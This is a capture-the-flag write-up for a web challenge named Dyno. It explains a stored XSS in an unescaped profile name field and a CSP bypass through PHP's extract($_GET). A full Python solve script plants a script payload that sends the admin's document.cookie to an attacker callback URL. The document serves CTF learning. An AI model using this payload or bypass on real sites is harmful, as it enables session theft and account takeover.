Flash CTF – Dyno

Solution Overview

Dyno is a profile generator where user profiles get reviewed by an “admin.” The core idea is to plant a stored XSS payload in a profile field, then make the admin bot visit that profile in a way that disables the strict CSP so the payload can execute and exfiltrate the admin’s cookie.

Solution

The application allows users to create profiles with custom names, emails, bios, and avatars. The vulnerability lies in how profile data is handled and how the Content Security Policy can be bypassed.

Looking at the PHP source for the profile page, the app tries to protect itself with a very restrictive Content Security Policy that is embedded in a meta tag:

$CSP = "default-src 'none'; " .
	"script-src 'self'; " .
	"style-src 'self'; " .
	"img-src 'self'; " .
	"font-src 'self'; " .
	"connect-src 'self'; " .
	"frame-ancestors 'none'; " .
	"form-action 'self'; " .
	"base-uri 'self'; " .
	"block-all-mixed-content;";

That value is then placed into the response like this:

<meta http-equiv="Content-Security-Policy" content="<?php echo $CSP; ?>">

On the same page there’s an extract($_GET) call, which means query parameters can become variables in the current scope:

extract($_GET);

Because $CSP is just a normal variable, supplying a CSP query parameter overwrites the original policy. Passing an empty value produces an empty CSP meta tag, which effectively removes the restriction and allows scripts to run.

The stored injection point is in the profile name field. Profile data is stored in SQLite and then rendered back out. The name is inserted directly into HTML in the title and page header without proper escaping, allowing injection of a <script> tag.

Looking at the profile page rendering code, there are two critical injection points where the name is echoed without escaping:

<title><?php echo $profile['name']; ?> - Dyno Profiles</title>

And in the page body:

<h1 class="profile-name"><?php echo $profile['name']; ?></h1>

Notice that other fields like email and bio use htmlspecialchars() for proper escaping:

<a href="mailto:<?php echo htmlspecialchars($profile['email']); ?>">
	<?php echo htmlspecialchars($profile['email']); ?>
</a>
<?php echo nl2br(htmlspecialchars($profile['bio'])); ?>

This inconsistency makes the name field vulnerable to stored XSS.

To exploit this, you need to make the admin bot visit your malicious profile with a disabled CSP. The bot visits URLs you provide, and by crafting a URL that includes &CSP= (an empty CSP), you can bypass the restrictions.

The exploitation flow is:

  1. Create a profile with a stored XSS payload in the name field that exfiltrates document.cookie to a callback URL you control.
  2. Build the profile link: https://<challenge-domain>/profile.php?id=<profile_id>&CSP=.
  3. Feed that URL to the bot.
  4. extract($_GET) overwrites $CSP with an empty string, effectively disabling CSP.
  5. The stored script runs in the admin’s browser context and leaks the cookie to your callback URL.

Solve Script

The full solver, solve.py. It creates the profile with an Image()-based cookie-exfil payload in the name field, pulls the new profile ID out of the redirect, then hands the bot a profile.php?id=...&CSP= URL to disable the policy. The leaked cookie arrives at your own callback listener:

#!/usr/bin/env python3

import argparse
import os
import re

import requests


def parse_args():
    parser = argparse.ArgumentParser(
        description="Exploit script for Dyno; creates a profile and triggers the admin bot."
    )
    parser.add_argument(
        "--challenge-url","-u",
        default=os.getenv("CHALLENGE_URL", "http://localhost:9000"),
        help="Base URL for the challenge webapp",
    )
    parser.add_argument(
        "--bot-url", "-b",
        default=os.getenv("BOT_URL", "http://localhost:4000"),
        help="Admin bot endpoint",
    )
    parser.add_argument(
        "--callback-url", "-c",
        default=os.getenv("CALLBACK_URL", "http://localhost:7777/leak"),
        help="Where the stolen cookie should be sent",
    )
    return parser.parse_args()


def main():
    args = parse_args()
    challenge_url = args.challenge_url.rstrip("/")
    bot_url = args.bot_url.rstrip("/")
    callback_url = args.callback_url.rstrip("/")

    # Ignore TLS validation errors when pointed at HTTPS targets with self-signed certs.
    requests.packages.urllib3.disable_warnings()

    print(f"[*] challenge_url = {challenge_url}")
    print(f"[*] bot_url = {bot_url}")
    print(f"[*] callback_url = {callback_url}")

    # Stored XSS in the profile name; we exfil document.cookie.
    # Use Image() to avoid CORS complications.
    payload = (
        "<script>"
        "var i=new Image();"
        f"i.src='{callback_url}?c='+encodeURIComponent(document.cookie);"
        "</script>"
    )
    print(f"[*] payload = {payload!r}")

    # 1) Create a profile.
    create_url = f"{challenge_url.rstrip('/')}/create_profile.php"
    data = {
        "name": payload,
        "email": "player@example.com",
        "bio": "Just here for the review.",
    }

    print("[*] creating profile...")
    r = requests.post(
        create_url, data=data, allow_redirects=False, timeout=10, verify=False
    )
    if r.status_code not in (302, 303):
        raise RuntimeError(f"unexpected create_profile status: {r.status_code}")

    location = r.headers.get("Location", "")
    m = re.search(r"id=([A-Za-z0-9]+)", location)
    if not m:
        raise RuntimeError(f"could not find id in redirect Location: {location!r}")

    profile_id = m.group(1)
    print(f"[*] profile_id = {profile_id}")

    # 2) Trigger the admin bot directly.
    # The bot runs in the Docker network, so it can resolve http://webapp/... .
    # Adding &CSP= overwrites the server-side $CSP variable via extract($_GET),
    # effectively disabling the CSP meta tag for that visit.
    bot_visit_url = bot_url.rstrip("/")
    if not bot_visit_url.endswith("/visit"):
        bot_visit_url = f"{bot_visit_url}/visit"

    target = f"{challenge_url}/profile.php?id={profile_id}&CSP="
    print("[*] triggering admin bot visit...")
    rr = requests.post(bot_visit_url, data={"url": target}, timeout=15, verify=False)
    if rr.status_code != 200:
        raise RuntimeError(f"unexpected bot /visit status: {rr.status_code}")

    # 3) Wait for exfil manually via the callback URL.
    print("[*] triggered bot visit; check your callback receiver for the leaked cookie.")
    print("    Example callback payload will include ?c=<urlencoded cookie>.")
    print(
        "    If the cookie contains MetaCTF{...}, decode the value to reveal the flag."
    )


if __name__ == "__main__":
    main()